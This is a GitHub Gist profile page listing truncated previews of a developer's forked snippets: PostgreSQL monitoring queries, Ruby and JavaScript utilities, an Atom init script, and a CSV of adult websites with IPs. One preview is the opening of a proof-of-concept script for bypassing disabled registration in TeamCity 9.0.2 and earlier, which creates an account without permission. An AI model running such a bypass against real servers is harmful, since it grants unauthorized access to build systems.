Skip to content

Instantly share code, notes, and snippets.

View twinfacer's full-sized avatar
🍺
loop { develop; debug; commit; deploy; take_a_beer }

Sergey Ivannikov twinfacer

🍺
loop { develop; debug; commit; deploy; take_a_beer }
  • O-Din
  • Moscow
View GitHub Profile
@twinfacer
twinfacer / postgres_queries_and_commands.sql
Created April 22, 2024 13:36 — forked from rgreenjr/postgres_queries_and_commands.sql
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(clock_timestamp(), query_start), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(clock_timestamp(), query_start), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@twinfacer
twinfacer / vc2017.md
Created September 11, 2018 15:16 — forked from t9md/vc2017.md

I'm t9md

t9md__t9md_.png Presentation1.png

  • My editor history: Vim > Emacs > Vim > Atom
class << Sprockets::CoffeeScriptProcessor
SYNTAX_ERROR_MESSAGE = /SyntaxError: \[stdin\]:(\d+):(\d+)/
def call_with_better_errors(input)
call_without_better_errors(input)
rescue ExecJS::RuntimeError => error
raise error unless error.message.match(SYNTAX_ERROR_MESSAGE)
line, col = $1, $2
message = "SyntaxError: #{input[:filename]}:#{line}:#{col}"
message += "\n\n#{add_line_numbers(input[:data])}"
function logColor(color, args) {
console.log(`%c ${args.join(' ')}`, `color: ${color}`);
}
const log = {
aliceblue: (...args) => { logColor('aliceblue', args)},
antiquewhite: (...args) => { logColor('antiquewhite', args)},
aqua: (...args) => { logColor('aqua', args)},
aquamarine: (...args) => { logColor('aquamarine', args)},
azure: (...args) => { logColor('azure', args)},
# Your init script
#
# Atom will evaluate this file each time a new window is opened. It is run
# after packages are loaded/activated and after the previous editor state
# has been restored.
#
# An example hack to log to the console when each text editor is saved.
#
# atom.workspace.observeTextEditors (editor) ->
# editor.onDidSave ->
This file has been truncated, but you can view the full file.
d,rank,ip,country
idealmilf.com,108296,78.140.130.6,Netherlands
skygals.com,415859,173.244.206.50,United States
guardomogli.com,658261,104.28.30.26,
sexy-streaming.com,117104,5.39.117.50,France
beach-porn.net,576671,173.214.250.167,United States
blackredtube.com,598818,88.208.0.196,United States
pornotom.com,449107,104.27.129.76,
pornflip.com,79500,199.101.134.20,United States
sexynakeds.com,116152,159.122.99.163,Switzerland
@twinfacer
twinfacer / teamcitylte902reg.js
Created April 19, 2016 14:13 — forked from allyshka/teamcitylte902reg.js
TeamCity <= 9.0.2 disabled registration bypass
var login = 'testuser'; //логин пользователя
var password = 'SuperMEgaPa$$'; //пароль
var email = 'testusername654@mailinater.com'; // email
/* Code */
var b = BS.LoginForm;
var public_key = $F("publicKey");
var encrypted_pass = BS.Encrypt.encryptData(password, $F("publicKey"));
var parameters = 'username1='+login+'&email='+encodeURIComponent(email)+'&submitCreateUser=&publicKey='+public_key+'&encryptedPassword1='+encrypted_pass+'&encryptedRetypedPassword='+encrypted_pass;
var c = OO.extend(BS.ErrorsAwareListener, {
onDuplicateAccountError: function(b) {
class Api::RegistrationsController < Api::BaseController
respond_to :json
def create
user = User.new(params[:user])
if user.save
render :json=> user.as_json(:auth_token=>user.authentication_token, :email=>user.email), :status=>201
return
else
data:text/html, <style type="text/css">#e{position:absolute;top:0;right:0;bottom:0;left:0;}</style><div id="e"></div><script src="http://d1n0x3qji82z53.cloudfront.net/src-min-noconflict/ace.js" type="text/javascript" charset="utf-8"></script><script>var e=ace.edit("e");e.setTheme("ace/theme/monokai");e.getSession().setMode("ace/mode/ruby");</script>